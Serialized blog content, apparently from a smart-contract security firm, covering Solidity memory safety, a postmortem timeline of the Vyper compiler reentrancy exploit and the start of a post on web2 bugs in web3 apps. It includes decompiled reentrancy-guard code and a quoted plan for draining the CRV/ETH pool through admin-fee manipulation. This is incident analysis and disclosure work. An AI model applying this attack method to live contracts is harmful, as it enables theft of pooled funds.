bodyCopier{",{"type":25,"tag":271,"props":43349,"children":43350},{"style":13598},[43351],{"type":30,"value":43266},{"type":25,"tag":271,"props":43353,"children":43354},{"style":13625},[43355],{"type":30,"value":1860},{"type":25,"tag":271,"props":43357,"children":43358},{"style":13620},[43359],{"type":30,"value":43360},"dialect",{"type":25,"tag":271,"props":43362,"children":43363},{"style":13625},[43364],{"type":30,"value":43365},"(), m_context, ",{"type":25,"tag":271,"props":43367,"children":43368},{"style":13598},[43369],{"type":30,"value":43266},{"type":25,"tag":271,"props":43371,"children":43372},{"style":13625},[43373],{"type":30,"value":1860},{"type":25,"tag":271,"props":43375,"children":43376},{"style":13620},[43377],{"type":30,"value":43275},{"type":25,"tag":271,"props":43379,"children":43380},{"style":13625},[43381],{"type":30,"value":43280},{"type":25,"tag":271,"props":43383,"children":43384},{"style":13598},[43385],{"type":30,"value":43386},"externalReferences",{"type":25,"tag":271,"props":43388,"children":43389},{"style":13625},[43390],{"type":30,"value":29700},{"type":25,"tag":271,"props":43392,"children":43393},{"class":13593,"line":16434},[43394],{"type":25,"tag":271,"props":43395,"children":43396},{"emptyLinePlaceholder":18},[43397],{"type":30,"value":16829},{"type":25,"tag":271,"props":43399,"children":43400},{"class":13593,"line":16447},[43401,43406,43410,43415,43419,43423,43427,43432],{"type":25,"tag":271,"props":43402,"children":43403},{"style":13625},[43404],{"type":30,"value":43405},"    yul::Statement modified ",{"type":25,"tag":271,"props":43407,"children":43408},{"style":13603},[43409],{"type":30,"value":1065},{"type":25,"tag":271,"props":43411,"children":43412},{"style":13620},[43413],{"type":30,"value":43414}," bodyCopier",{"type":25,"tag":271,"props":43416,"children":43417},{"style":13625},[43418],{"type":30,"value":394},{"type":25,"tag":271,"props":43420,"children":43421},{"style":13598},[43422],{"type":30,"value":43266},{"type":25,"tag":271,"props":43424,"children":43425},{"style":13625},[43426],{"type":30,"value":1860},{"type":25,"tag":271,"props":43428,"children":43429},{"style":13620},[43430],{"type":30,"value":43431},"operations",{"type":25,"tag":271,"props":43433,"children":43434},{"style":13625},[43435],{"type":30,"value":43436},"());`\n",{"type":25,"tag":661,"props":43438,"children":43439},{"start":11641},[43440],{"type":25,"tag":112,"props":43441,"children":43442},{},[43443],{"type":30,"value":43444},"It would require a pretty contrived compiler implementation to meaningfully modify assembly statements before optimization.",{"type":25,"tag":26,"props":43446,"children":43447},{},[43448],{"type":30,"value":43449},"As long as the invariants are upheld before and after the assembly block executes, the code is probably safe.",{"type":25,"tag":96,"props":43451,"children":43452},{"id":18441},[43453],{"type":30,"value":18444},{"type":25,"tag":26,"props":43455,"children":43456},{},[43457],{"type":30,"value":43458},"In this blog post, we present an exploration of the Solidity compiler. This aims to serve as a useful reference for the inquisitive. Compilers are extremely complex with implicit and explicit assumptions. When in doubt, read the source code. So what exactly is memory safety?",{"type":25,"tag":26,"props":43460,"children":43461},{},[43462],{"type":30,"value":43463},"It's a promise between YUL generation and optimization.",{"type":25,"tag":31544,"props":43465,"children":43467},{"className":43466,"dataFootnotes":7},[31547],[43468,43473],{"type":25,"tag":96,"props":43469,"children":43471},{"className":43470,"id":28602},[31552],[43472],{"type":30,"value":31555},{"type":25,"tag":661,"props":43474,"children":43475},{},[43476,43510],{"type":25,"tag":112,"props":43477,"children":43479},{"id":43478},"user-content-fn-1",[43480,43482,43487,43489,43495,43497,43502,43504],{"type":30,"value":43481},"As an interesting aside, ",{"type":25,"tag":264,"props":43483,"children":43485},{"className":43484},[],[43486],{"type":30,"value":42483},{"type":30,"value":43488}," is an opaque function which prevents optimizations from reasoning about the free memory pointer. This leads to some rather counterintitive behavior -- ",{"type":25,"tag":264,"props":43490,"children":43492},{"className":43491},[],[43493],{"type":30,"value":43494},"memory-unsafe",{"type":30,"value":43496}," code can ",{"type":25,"tag":10281,"props":43498,"children":43499},{},[43500],{"type":30,"value":43501},"decrease",{"type":30,"value":43503}," gas consumption, especially in the YUL header. ",{"type":25,"tag":83,"props":43505,"children":43508},{"href":43506,"ariaLabel":31657,"className":43507,"dataFootnoteBackref":7},"#user-content-fnref-1",[31659],[43509],{"type":30,"value":31662},{"type":25,"tag":112,"props":43511,"children":43513},{"id":43512},"user-content-fn-2",[43514,43516,43521,43523],{"type":30,"value":43515},"Unfortunately the documentation only presents a \"non-exhaustive list of restrictions\" on verbatim bytecode. In practice, it seems hard to ",{"type":25,"tag":10281,"props":43517,"children":43518},{},[43519],{"type":30,"value":43520},"guarantee",{"type":30,"value":43522}," behavior with opaque bytes. ",{"type":25,"tag":83,"props":43524,"children":43527},{"href":43525,"ariaLabel":31677,"className":43526,"dataFootnoteBackref":7},"#user-content-fnref-2",[31659],[43528],{"type":30,"value":31662},{"type":25,"tag":15963,"props":43530,"children":43531},{},[43532],{"type":30,"value":15967},{"title":7,"searchDepth":11641,"depth":11641,"links":43534},[43535,43536,43537,43538,43539,43540,43541],{"id":42127,"depth":11641,"text":42130},{"id":42181,"depth":11641,"text":42184},{"id":42445,"depth":11641,"text":42448},{"id":42176,"depth":11641,"text":42669},{"id":43015,"depth":11641,"text":43018},{"id":18441,"depth":11641,"text":18444},{"id":28602,"depth":11641,"text":31555},"content:blog:2023-07-28-solidity-compilers-memory-safety.md","blog/2023-07-28-solidity-compilers-memory-safety.md","blog/2023-07-28-solidity-compilers-memory-safety",{"_path":43546,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":43547,"description":43548,"author":18851,"image":43549,"date":43551,"isFeatured":18,"onBlogPage":18,"tags":43552,"body":43554,"_type":16004,"_id":44304,"_source":16006,"_file":44305,"_stem":44306,"_extension":16009},"/blog/2023-08-01-vyper-timeline","Vyper Hack Timeline","A timeline and postmortem for the Vyper compiler bug. Thoughts on trust assumptions, vulnerability disclosures, and whitehack recoveries.",{"src":43550,"height":17,"width":17},"/posts/vyper-timeline/header.jpg","2023-08-01",[43553,42122],"vyper",{"type":22,"children":43555,"toc":44295},[43556,43561,43566,43571,43577,43582,43600,43610,43615,43623,43633,43652,43732,43742,43902,43907,43912,43922,43929,43934,43939,43953,43958,43975,43992,44011,44021,44034,44039,44052,44057,44062,44072,44098,44108,44138,44144,44153,44159,44164,44169,44174,44180,44185,44199,44204,44209,44214,44220,44225,44238,44264,44269,44291],{"type":25,"tag":26,"props":43557,"children":43558},{},[43559],{"type":30,"value":43560},"\"Trust but verify\" is a common adage. \"Hindsight is 20/20\" is another one. The best bugs are those hiding in plain sight.",{"type":25,"tag":26,"props":43562,"children":43563},{},[43564],{"type":30,"value":43565},"Compiler bugs are located deep in the supply chain, making their effects far more widespread than normal protocol bugs. Numerous contracts across different chains were compiled with vulnerable Vyper versions - it was a race against blackhats.",{"type":25,"tag":26,"props":43567,"children":43568},{},[43569],{"type":30,"value":43570},"Here's how it all happened.",{"type":25,"tag":96,"props":43572,"children":43574},{"id":43573},"timeline",[43575],{"type":30,"value":43576},"Timeline",{"type":25,"tag":26,"props":43578,"children":43579},{},[43580],{"type":30,"value":43581},"As a note, I'll use the \"we\" pronoun loosely here. I think I personally made some insightful contributions towards the initial vulnerability discovery but countless others helped far more throughout the entire process.",{"type":25,"tag":26,"props":43583,"children":43584},{},[43585,43590,43592,43599],{"type":25,"tag":38,"props":43586,"children":43587},{},[43588],{"type":30,"value":43589},"13:10 UTC",{"type":30,"value":43591}," pETH/ETH was ",{"type":25,"tag":83,"props":43593,"children":43596},{"href":43594,"rel":43595},"https://etherscan.io/tx/0xa84aa065ce61dbb1eb50ab6ae67fc31a9da50dd2c74eefd561661bfce2f1620c",[9066],[43597],{"type":30,"value":43598},"drained of $11M",{"type":30,"value":1860},{"type":25,"tag":26,"props":43601,"children":43602},{},[43603,43608],{"type":25,"tag":38,"props":43604,"children":43605},{},[43606],{"type":30,"value":43607},"13:19 UTC",{"type":30,"value":43609}," Michal posted in ETHSecurity about a sudden drop in pETH price.",{"type":25,"tag":26,"props":43611,"children":43612},{},[43613],{"type":30,"value":43614},"Igor first noticed something was off. Thanks to him, we dug deeper.",{"type":25,"tag":16074,"props":43616,"children":43617},{},[43618],{"type":25,"tag":26,"props":43619,"children":43620},{},[43621],{"type":30,"value":43622},"But how did the bot reenter into add_liquidity() from remove_liquidity()?",{"type":25,"tag":26,"props":43624,"children":43625},{},[43626,43631],{"type":25,"tag":38,"props":43627,"children":43628},{},[43629],{"type":30,"value":43630},"14:01 UTC",{"type":30,"value":43632}," A warroom was formed around this comment.",{"type":25,"tag":26,"props":43634,"children":43635},{},[43636,43641,43643,43650],{"type":25,"tag":38,"props":43637,"children":43638},{},[43639],{"type":30,"value":43640},"14:07 UTC",{"type":30,"value":43642}," We decompiled the JPEGd contract ",{"type":25,"tag":83,"props":43644,"children":43647},{"href":43645,"rel":43646},"https://ethervm.io/decompile",[9066],[43648],{"type":30,"value":43649},"with our favorite decompiler",{"type":30,"value":43651}," and noted a difference in reentrancy guard storage slot.",{"type":25,"tag":7764,"props":43653,"children":43657},{"className":43654,"code":43655,"language":43656,"meta":7,"style":7},"language-yul shiki shiki-themes slack-dark","// Dispatch table entry for add_liquidity(uint256[2],uint256)\nlabel_0057:\n    if (storage[0x00]) { revert(memory[0x00:0x00]); }\n    storage[0x00] = 0x01;\n\n// Dispatch table entry for remove_liquidity(uint256,uint256[2])\nlabel_1AF3:\n    if (storage[0x02]) { revert(memory[0x00:0x00]); }\n    storage[0x02] = 0x01;\n","yul",[43658],{"type":25,"tag":264,"props":43659,"children":43660},{"__ignoreMap":7},[43661,43669,43677,43685,43693,43700,43708,43716,43724],{"type":25,"tag":271,"props":43662,"children":43663},{"class":13593,"line":13594},[43664],{"type":25,"tag":271,"props":43665,"children":43666},{},[43667],{"type":30,"value":43668},"// Dispatch table entry for add_liquidity(uint256[2],uint256)\n",{"type":25,"tag":271,"props":43670,"children":43671},{"class":13593,"line":11641},[43672],{"type":25,"tag":271,"props":43673,"children":43674},{},[43675],{"type":30,"value":43676},"label_0057:\n",{"type":25,"tag":271,"props":43678,"children":43679},{"class":13593,"line":14354},[43680],{"type":25,"tag":271,"props":43681,"children":43682},{},[43683],{"type":30,"value":43684},"    if (storage[0x00]) { revert(memory[0x00:0x00]); }\n",{"type":25,"tag":271,"props":43686,"children":43687},{"class":13593,"line":14391},[43688],{"type":25,"tag":271,"props":43689,"children":43690},{},[43691],{"type":30,"value":43692},"    storage[0x00] = 0x01;\n",{"type":25,"tag":271,"props":43694,"children":43695},{"class":13593,"line":14400},[43696],{"type":25,"tag":271,"props":43697,"children":43698},{"emptyLinePlaceholder":18},[43699],{"type":30,"value":16829},{"type":25,"tag":271,"props":43701,"children":43702},{"class":13593,"line":16406},[43703],{"type":25,"tag":271,"props":43704,"children":43705},{},[43706],{"type":30,"value":43707},"// Dispatch table entry for remove_liquidity(uint256,uint256[2])\n",{"type":25,"tag":271,"props":43709,"children":43710},{"class":13593,"line":16434},[43711],{"type":25,"tag":271,"props":43712,"children":43713},{},[43714],{"type":30,"value":43715},"label_1AF3:\n",{"type":25,"tag":271,"props":43717,"children":43718},{"class":13593,"line":16447},[43719],{"type":25,"tag":271,"props":43720,"children":43721},{},[43722],{"type":30,"value":43723},"    if (storage[0x02]) { revert(memory[0x00:0x00]); }\n",{"type":25,"tag":271,"props":43725,"children":43726},{"class":13593,"line":16465},[43727],{"type":25,"tag":271,"props":43728,"children":43729},{},[43730],{"type":30,"value":43731},"    storage[0x02] = 0x01;\n",{"type":25,"tag":26,"props":43733,"children":43734},{},[43735,43740],{"type":25,"tag":38,"props":43736,"children":43737},{},[43738],{"type":30,"value":43739},"14:27 UTC",{"type":30,"value":43741}," We confirmed this behavior with a simple local test contract.",{"type":25,"tag":7764,"props":43743,"children":43745},{"className":32582,"code":43744,"language":32581,"meta":7,"style":7},"@external\n@nonreentrant(\"lock\")\ndef test(addr: address) -> bool:\n    return True\n\n@external\n@nonreentrant(\"lock\")\ndef test2(addr: address) -> bool:\n    return False\n",[43746],{"type":25,"tag":264,"props":43747,"children":43748},{"__ignoreMap":7},[43749,43757,43778,43813,43825,43832,43839,43858,43890],{"type":25,"tag":271,"props":43750,"children":43751},{"class":13593,"line":13594},[43752],{"type":25,"tag":271,"props":43753,"children":43754},{"style":13620},[43755],{"type":30,"value":43756},"@external\n",{"type":25,"tag":271,"props":43758,"children":43759},{"class":13593,"line":11641},[43760,43765,43769,43774],{"type":25,"tag":271,"props":43761,"children":43762},{"style":13620},[43763],{"type":30,"value":43764},"@nonreentrant",{"type":25,"tag":271,"props":43766,"children":43767},{"style":13625},[43768],{"type":30,"value":394},{"type":25,"tag":271,"props":43770,"children":43771},{"style":17388},[43772],{"type":30,"value":43773},"\"lock\"",{"type":25,"tag":271,"props":43775,"children":43776},{"style":13625},[43777],{"type":30,"value":16299},{"type":25,"tag":271,"props":43779,"children":43780},{"class":13593,"line":14354},[43781,43786,43791,43795,43800,43805,43809],{"type":25,"tag":271,"props":43782,"children":43783},{"style":14289},[43784],{"type":30,"value":43785},"def",{"type":25,"tag":271,"props":43787,"children":43788},{"style":13620},[43789],{"type":30,"value":43790}," test",{"type":25,"tag":271,"props":43792,"children":43793},{"style":13625},[43794],{"type":30,"value":394},{"type":25,"tag":271,"props":43796,"children":43797},{"style":13598},[43798],{"type":30,"value":43799},"addr",{"type":25,"tag":271,"props":43801,"children":43802},{"style":13625},[43803],{"type":30,"value":43804},": address) -> ",{"type":25,"tag":271,"props":43806,"children":43807},{"style":13609},[43808],{"type":30,"value":42798},{"type":25,"tag":271,"props":43810,"children":43811},{"style":13625},[43812],{"type":30,"value":18699},{"type":25,"tag":271,"props":43814,"children":43815},{"class":13593,"line":14391},[43816,43820],{"type":25,"tag":271,"props":43817,"children":43818},{"style":16171},[43819],{"type":30,"value":30111},{"type":25,"tag":271,"props":43821,"children":43822},{"style":14289},[43823],{"type":30,"value":43824}," True\n",{"type":25,"tag":271,"props":43826,"children":43827},{"class":13593,"line":14400},[43828],{"type":25,"tag":271,"props":43829,"children":43830},{"emptyLinePlaceholder":18},[43831],{"type":30,"value":16829},{"type":25,"tag":271,"props":43833,"children":43834},{"class":13593,"line":16406},[43835],{"type":25,"tag":271,"props":43836,"children":43837},{"style":13620},[43838],{"type":30,"value":43756},{"type":25,"tag":271,"props":43840,"children":43841},{"class":13593,"line":16434},[43842,43846,43850,43854],{"type":25,"tag":271,"props":43843,"children":43844},{"style":13620},[43845],{"type":30,"value":43764},{"type":25,"tag":271,"props":43847,"children":43848},{"style":13625},[43849],{"type":30,"value":394},{"type":25,"tag":271,"props":43851,"children":43852},{"style":17388},[43853],{"type":30,"value":43773},{"type":25,"tag":271,"props":43855,"children":43856},{"style":13625},[43857],{"type":30,"value":16299},{"type":25,"tag":271,"props":43859,"children":43860},{"class":13593,"line":16447},[43861,43865,43870,43874,43878,43882,43886],{"type":25,"tag":271,"props":43862,"children":43863},{"style":14289},[43864],{"type":30,"value":43785},{"type":25,"tag":271,"props":43866,"children":43867},{"style":13620},[43868],{"type":30,"value":43869}," test2",{"type":25,"tag":271,"props":43871,"children":43872},{"style":13625},[43873],{"type":30,"value":394},{"type":25,"tag":271,"props":43875,"children":43876},{"style":13598},[43877],{"type":30,"value":43799},{"type":25,"tag":271,"props":43879,"children":43880},{"style":13625},[43881],{"type":30,"value":43804},{"type":25,"tag":271,"props":43883,"children":43884},{"style":13609},[43885],{"type":30,"value":42798},{"type":25,"tag":271,"props":43887,"children":43888},{"style":13625},[43889],{"type":30,"value":18699},{"type":25,"tag":271,"props":43891,"children":43892},{"class":13593,"line":16465},[43893,43897],{"type":25,"tag":271,"props":43894,"children":43895},{"style":16171},[43896],{"type":30,"value":30111},{"type":25,"tag":271,"props":43898,"children":43899},{"style":14289},[43900],{"type":30,"value":43901}," False\n",{"type":25,"tag":26,"props":43903,"children":43904},{},[43905],{"type":30,"value":43906},"This was not just another reentrancy bug.",{"type":25,"tag":26,"props":43908,"children":43909},{},[43910],{"type":30,"value":43911},"At this point, we realized just how impactful this would be. There was a blackout of information, and we deleted public messages on the nature of the vulnerability.",{"type":25,"tag":26,"props":43913,"children":43914},{},[43915,43920],{"type":25,"tag":38,"props":43916,"children":43917},{},[43918],{"type":30,"value":43919},"14:37 UTC",{"type":30,"value":43921}," Wavey helped identify the vulnerable commit and affected versions. This was also confirmed by me and Charles by manually inspecting the Vyper compiler output.",{"type":25,"tag":26,"props":43923,"children":43924},{},[43925],{"type":25,"tag":698,"props":43926,"children":43928},{"alt":7,"src":43927},"/posts/vyper-timeline/sstore.png",[],{"type":25,"tag":26,"props":43930,"children":43931},{},[43932],{"type":30,"value":43933},"It was a race with the hackers.",{"type":25,"tag":26,"props":43935,"children":43936},{},[43937],{"type":30,"value":43938},"Thankfully, people were still confusing this for read-only reentrancy. Taken from the \"Web3 Security Alerts\" channel.",{"type":25,"tag":16074,"props":43940,"children":43941},{},[43942],{"type":25,"tag":26,"props":43943,"children":43944},{},[43945,43947],{"type":30,"value":43946},"Alchemix and Metronome DAO also been hacked due to this read-only reentrancy bug: ",{"type":25,"tag":83,"props":43948,"children":43951},{"href":43949,"rel":43950},"https://twitter.com/hexagate_/status/1685677801813217280",[9066],[43952],{"type":30,"value":43949},{"type":25,"tag":26,"props":43954,"children":43955},{},[43956],{"type":30,"value":43957},"Michael identified alETH and msETH pools, which were also running 0.2.15, as being also potentially vulnerable.",{"type":25,"tag":26,"props":43959,"children":43960},{},[43961,43966,43967,43974],{"type":25,"tag":38,"props":43962,"children":43963},{},[43964],{"type":30,"value":43965},"14:50 UTC",{"type":30,"value":14096},{"type":25,"tag":83,"props":43968,"children":43971},{"href":43969,"rel":43970},"https://etherscan.io/tx/0xc93eb238ff42632525e990119d3edc7775299a70b56e54d83ec4f53736400964",[9066],[43972],{"type":30,"value":43973},"msETH/ETH was drained",{"type":30,"value":1860},{"type":25,"tag":26,"props":43976,"children":43977},{},[43978,43983,43984,43991],{"type":25,"tag":38,"props":43979,"children":43980},{},[43981],{"type":30,"value":43982},"15:34 UTC",{"type":30,"value":14096},{"type":25,"tag":83,"props":43985,"children":43988},{"href":43986,"rel":43987},"https://etherscan.io/tx/0xb676d789bb8b66a08105c844a49c2bcffb400e5c1cfabd4bc30cca4bff3c9801",[9066],[43989],{"type":30,"value":43990},"alETH/ETH was drained",{"type":30,"value":1860},{"type":25,"tag":26,"props":43993,"children":43994},{},[43995,44000,44002,44009],{"type":25,"tag":38,"props":43996,"children":43997},{},[43998],{"type":30,"value":43999},"15:43 UTC",{"type":30,"value":44001}," We identified that ",{"type":25,"tag":83,"props":44003,"children":44006},{"href":44004,"rel":44005},"https://etherscan.io/address/0x8301AE4fc9c624d1D396cbDAa1ed877821D7C511#code",[9066],[44007],{"type":30,"value":44008},"CRV/ETH was vulnerable",{"type":30,"value":44010},", compiled using Vyper version 3.0.0. It was critical that we kept the nature of affected contracts secret for as long as possible.",{"type":25,"tag":26,"props":44012,"children":44013},{},[44014,44019],{"type":25,"tag":38,"props":44015,"children":44016},{},[44017],{"type":30,"value":44018},"16:11 UTC",{"type":30,"value":44020}," We began working on a whitehat exploit.",{"type":25,"tag":26,"props":44022,"children":44023},{},[44024,44026,44033],{"type":30,"value":44025},"Unfortunately, too many groups were doing independent research in parallel and rumors were spreading. At 16:44 UTC, we decided to release a ",{"type":25,"tag":83,"props":44027,"children":44030},{"href":44028,"rel":44029},"https://twitter.com/vyperlang/status/1685692973051498497",[9066],[44031],{"type":30,"value":44032},"public statement on affected versions",{"type":30,"value":1860},{"type":25,"tag":26,"props":44035,"children":44036},{},[44037],{"type":30,"value":44038},"By 18:32 UTC, we had a proof of concept exploit to be used in a potential whitehat recovery. bpak from Chainlight was also working on an exploit in parallel, and shared it at 19:06 UTC.",{"type":25,"tag":26,"props":44040,"children":44041},{},[44042,44044,44051],{"type":30,"value":44043},"Five minutes later at 19:11 UTC, ",{"type":25,"tag":83,"props":44045,"children":44048},{"href":44046,"rel":44047},"https://etherscan.io/tx/0x2e7dc8b2fb7e25fd00ed9565dcc0ad4546363171d5e00f196d48103983ae477c",[9066],[44049],{"type":30,"value":44050},"somebody else stole the funds",{"type":30,"value":1860},{"type":25,"tag":26,"props":44053,"children":44054},{},[44055],{"type":30,"value":44056},"The attack structure was largely different from either of our proofs of concept, so it was unlikely to have been a leak from our group. Regardless, this was pretty demoralizing.",{"type":25,"tag":26,"props":44058,"children":44059},{},[44060],{"type":30,"value":44061},"Nevertheless, there was more ground to cover.",{"type":25,"tag":26,"props":44063,"children":44064},{},[44065,44070],{"type":25,"tag":38,"props":44066,"children":44067},{},[44068],{"type":30,"value":44069},"21:26 UTC",{"type":30,"value":44071}," Addison proposed an ambitious plan to recover the remaining assets in the CRVETH pool.",{"type":25,"tag":16074,"props":44073,"children":44074},{},[44075],{"type":25,"tag":26,"props":44076,"children":44077},{},[44078,44080,44083,44085,44088,44090,44093,44095],{"type":30,"value":44079},"if you send like 30k crv to the crv/eth pool ",{"type":25,"tag":14098,"props":44081,"children":44082},{},[],{"type":30,"value":44084},"\nyou can then update admin fee ",{"type":25,"tag":14098,"props":44086,"children":44087},{},[],{"type":30,"value":44089},"\nand then the crv/eth rate is like .15 eth per crv ",{"type":25,"tag":14098,"props":44091,"children":44092},{},[],{"type":30,"value":44094},"\nso you can basically drain whole pool for few hundred K crv ",{"type":25,"tag":14098,"props":44096,"children":44097},{},[],{"type":25,"tag":26,"props":44099,"children":44100},{},[44101,44106],{"type":25,"tag":38,"props":44102,"children":44103},{},[44104],{"type":30,"value":44105},"21:52 UTC",{"type":30,"value":44107}," bpak had produced a working proof of concept which could recover 3100 ETH.",{"type":25,"tag":26,"props":44109,"children":44110},{},[44111,44113,44120,44122,44129,44137],{"type":30,"value":44112},"Ten minutes later at 22:02 UTC, we were beaten again. By some freak concidence, the ",{"type":25,"tag":83,"props":44114,"children":44117},{"href":44115,"rel":44116},"https://etherscan.io/address/0x8c73d39b2da2dd1a10cc16502bc7c8d768ec74c9",[9066],[44118],{"type":30,"value":44119},"CRV admin fee bot",{"type":30,"value":44121}," had claimed fees and ",{"type":25,"tag":83,"props":44123,"children":44126},{"href":44124,"rel":44125},"https://etherscan.io/tx/0xcd99fadd7e28a42a063e07d9d86f67c88e10a7afe5921bd28cd1124924ae2052",[9066],[44127],{"type":30,"value":44128},"the pool was drained",{"type":25,"tag":28595,"props":44130,"children":44131},{},[44132],{"type":25,"tag":83,"props":44133,"children":44135},{"href":42736,"ariaDescribedBy":44134,"dataFootnoteRef":7,"id":42738},[28602],[44136],{"type":30,"value":968},{"type":30,"value":1860},{"type":25,"tag":96,"props":44139,"children":44141},{"id":44140},"blame",[44142],{"type":30,"value":44143},"Blame",{"type":25,"tag":26,"props":44145,"children":44146},{},[44147,44151],{"type":25,"tag":10281,"props":44148,"children":44149},{},[44150],{"type":30,"value":44143},{"type":30,"value":44152}," is a strong word. It's not productive to point fingers. At the same time, I think it's useful to think about what could have went better.",{"type":25,"tag":247,"props":44154,"children":44156},{"id":44155},"races",[44157],{"type":30,"value":44158},"Races",{"type":25,"tag":26,"props":44160,"children":44161},{},[44162],{"type":30,"value":44163},"In both cases, whitehat efforts were beaten by less than half an hour. Sometimes every second really does count.",{"type":25,"tag":26,"props":44165,"children":44166},{},[44167],{"type":30,"value":44168},"There likely could have been better preparation and resources for executing on these attacks. At the same time, this seems like a double-edged sword. Is it really a good idea to aggregate information related how to execute a hack? Who should we trust?",{"type":25,"tag":26,"props":44170,"children":44171},{},[44172],{"type":30,"value":44173},"On the other hand, I think the process was quite efficient. We went from initial suspicions to identifying vulnerable variants in 2 hours and 4 minutes.",{"type":25,"tag":247,"props":44175,"children":44177},{"id":44176},"information-leakage",[44178],{"type":30,"value":44179},"Information Leakage",{"type":25,"tag":26,"props":44181,"children":44182},{},[44183],{"type":30,"value":44184},"I was both an auditor and a whitehat.",{"type":25,"tag":26,"props":44186,"children":44187},{},[44188,44190,44197],{"type":30,"value":44189},"There's a strong culture of publishing in auditing. We're paid for technical thought leadership and deep understanding of vulnerabilities. One way to demonstrate this is ",{"type":25,"tag":83,"props":44191,"children":44194},{"href":44192,"rel":44193},"https://twitter.com/osec_io/status/1579969927020412929",[9066],[44195],{"type":30,"value":44196},"by publishing the \"scoop\"",{"type":30,"value":44198}," on hacks in the wild. Researchers cost a lot and the return on investment is publicity.",{"type":25,"tag":26,"props":44200,"children":44201},{},[44202],{"type":30,"value":44203},"On the other hand, there's a compelling argument that early disclosure of the affected versions had a material impact on the whitehat recovery.",{"type":25,"tag":26,"props":44205,"children":44206},{},[44207],{"type":30,"value":44208},"Half an hour more could have saved $18M.",{"type":25,"tag":26,"props":44210,"children":44211},{},[44212],{"type":30,"value":44213},"Auditors don't pay for externalities created by their reporting. Instead, they get rewarded with likes, retweets, and publicity. Seems like a hard problem.",{"type":25,"tag":96,"props":44215,"children":44217},{"id":44216},"next-steps",[44218],{"type":30,"value":44219},"Next Steps",{"type":25,"tag":26,"props":44221,"children":44222},{},[44223],{"type":30,"value":44224},"I disagree with takes like \"we need formal verification to solve this\". This bug could have been caught with a unit test. Formal verification is very useful for many bug classes, but I'm not convinced it's as useful for relatively simple, non-optimizing compilers.",{"type":25,"tag":26,"props":44226,"children":44227},{},[44228,44230,44237],{"type":30,"value":44229},"It's important to note that this bug ",{"type":25,"tag":83,"props":44231,"children":44234},{"href":44232,"rel":44233},"https://twitter.com/real_philogy/status/1685948253139857409",[9066],[44235],{"type":30,"value":44236},"was patched since November 2021",{"type":30,"value":1860},{"type":25,"tag":16074,"props":44239,"children":44240},{},[44241],{"type":25,"tag":26,"props":44242,"children":44243},{},[44244,44246,44251,44252,44255,44257,44262],{"type":30,"value":44245},"I think this Vyper 0day is less about the skill of the Vyper team or the language itself but more about ",{"type":25,"tag":10281,"props":44247,"children":44248},{},[44249],{"type":30,"value":44250},"processes",{"type":30,"value":31653},{"type":25,"tag":14098,"props":44253,"children":44254},{},[],{"type":30,"value":44256},"\nThe bug was a fixed many versions of Vyper ago, the actual oversight was not realizing the potential impact to projects at the time it ",{"type":25,"tag":10281,"props":44258,"children":44259},{},[44260],{"type":30,"value":44261},"was",{"type":30,"value":44263}," fixed.",{"type":25,"tag":26,"props":44265,"children":44266},{},[44267],{"type":30,"value":44268},"Unfortunately, public goods get easily forgotten. With immutable contracts, projects can have implicit dependencies on code written years ago. Protocol developers and security experts should stay up to date on security developments across the entire execution stack.",{"type":25,"tag":31544,"props":44270,"children":44272},{"className":44271,"dataFootnotes":7},[31547],[44273,44278],{"type":25,"tag":96,"props":44274,"children":44276},{"className":44275,"id":28602},[31552],[44277],{"type":30,"value":31555},{"type":25,"tag":661,"props":44279,"children":44280},{},[44281],{"type":25,"tag":112,"props":44282,"children":44283},{"id":43478},[44284,44286],{"type":30,"value":44285},"Thankfully, these funds were later returned. ",{"type":25,"tag":83,"props":44287,"children":44289},{"href":43506,"ariaLabel":31657,"className":44288,"dataFootnoteBackref":7},[31659],[44290],{"type":30,"value":31662},{"type":25,"tag":15963,"props":44292,"children":44293},{},[44294],{"type":30,"value":15967},{"title":7,"searchDepth":11641,"depth":11641,"links":44296},[44297,44298,44302,44303],{"id":43573,"depth":11641,"text":43576},{"id":44140,"depth":11641,"text":44143,"children":44299},[44300,44301],{"id":44155,"depth":14354,"text":44158},{"id":44176,"depth":14354,"text":44179},{"id":44216,"depth":11641,"text":44219},{"id":28602,"depth":11641,"text":31555},"content:blog:2023-08-01-vyper-timeline.md","blog/2023-08-01-vyper-timeline.md","blog/2023-08-01-vyper-timeline",{"_path":44308,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":44309,"description":44310,"author":44311,"image":44314,"date":44316,"isFeatured":18,"tags":44317,"onBlogPage":18,"body":44320,"_type":16004,"_id":48530,"_source":16006,"_file":48531,"_stem":48532,"_extension":16009},"/blog/2023-08-11-web2-bug-repellant-instructions","Web2 Bug Repellant Instructions","An analysis of security risks that don’t get enough attention - web2 bugs in web3 apps. We take a deep and practical look at vulnerabilities across various applications.",[44312,44313],"caue","bruno",{"src":44315,"height":17,"width":17},"/posts/web2-bug-repellant-instructions/web2-bug-repellant-instructions.jpg","2023-08-11",[44318,44319],"nft-marketplaces","xss",{"type":22,"children":44321,"toc":48513},[44322,44326,44331,44335,44340,44345,44350,44366,44372,44385,44407,44414,44419,44426,44431,44437,44442,44447,44452,44457,44468,44473,45442,45452,45464,45471,45476,46297,46302,46307,46312,46317,47101,47106,47188,47193,47261,47267,47272,47277,47503,47516,47521,47526,47531,47538,47543,47550,47556,47561,47566,47571,47890,47895,47901,47917,47923,47928,47933,47943,47948,47953,47962,47967,47973,47989,48002,48007,48012,48032,48039,48044,48051,48060,48065,48086,48139,48144,48195,48209,48214,48228,48343,48366,48450,48473,48478,48483,48488,48493,48498,48504,48509],{"type":25,"tag":96,"props":44323,"children":44324},{"id":42127},[44325],{"type":30,"value":42130},{"type":25,"tag":26,"props":44327,"children":44328},{},[44329],{"type":30,"value":44330},"Transitioning to a fully decentralized web is hard. Many Web 3 applications still have large, unexplored Web 2 attack surfaces.",{"type":25,"tag":247,"props":44332,"children":44333},{"id":16059},[44334],{"type":30,"value":16062},{"type":25,"tag":26,"props":44336,"children":44337},{},[44338],{"type":30,"value":44339},"In this blog post, we'll explore these lingering threats and potential mitigations. This work summarizes our internal research against various applications, from NFT marketplaces to wallets to protocol frontends.",{"type":25,"tag":26,"props":44341,"children":44342},{},[44343],{"type":30,"value":44344},"As a note, generally applications with non-trivial frontends are more susceptible to these vulnerabilities. Hence, a lot of our research focused on the interactions with NFTs, an ideal Web 2.5 candidate in many 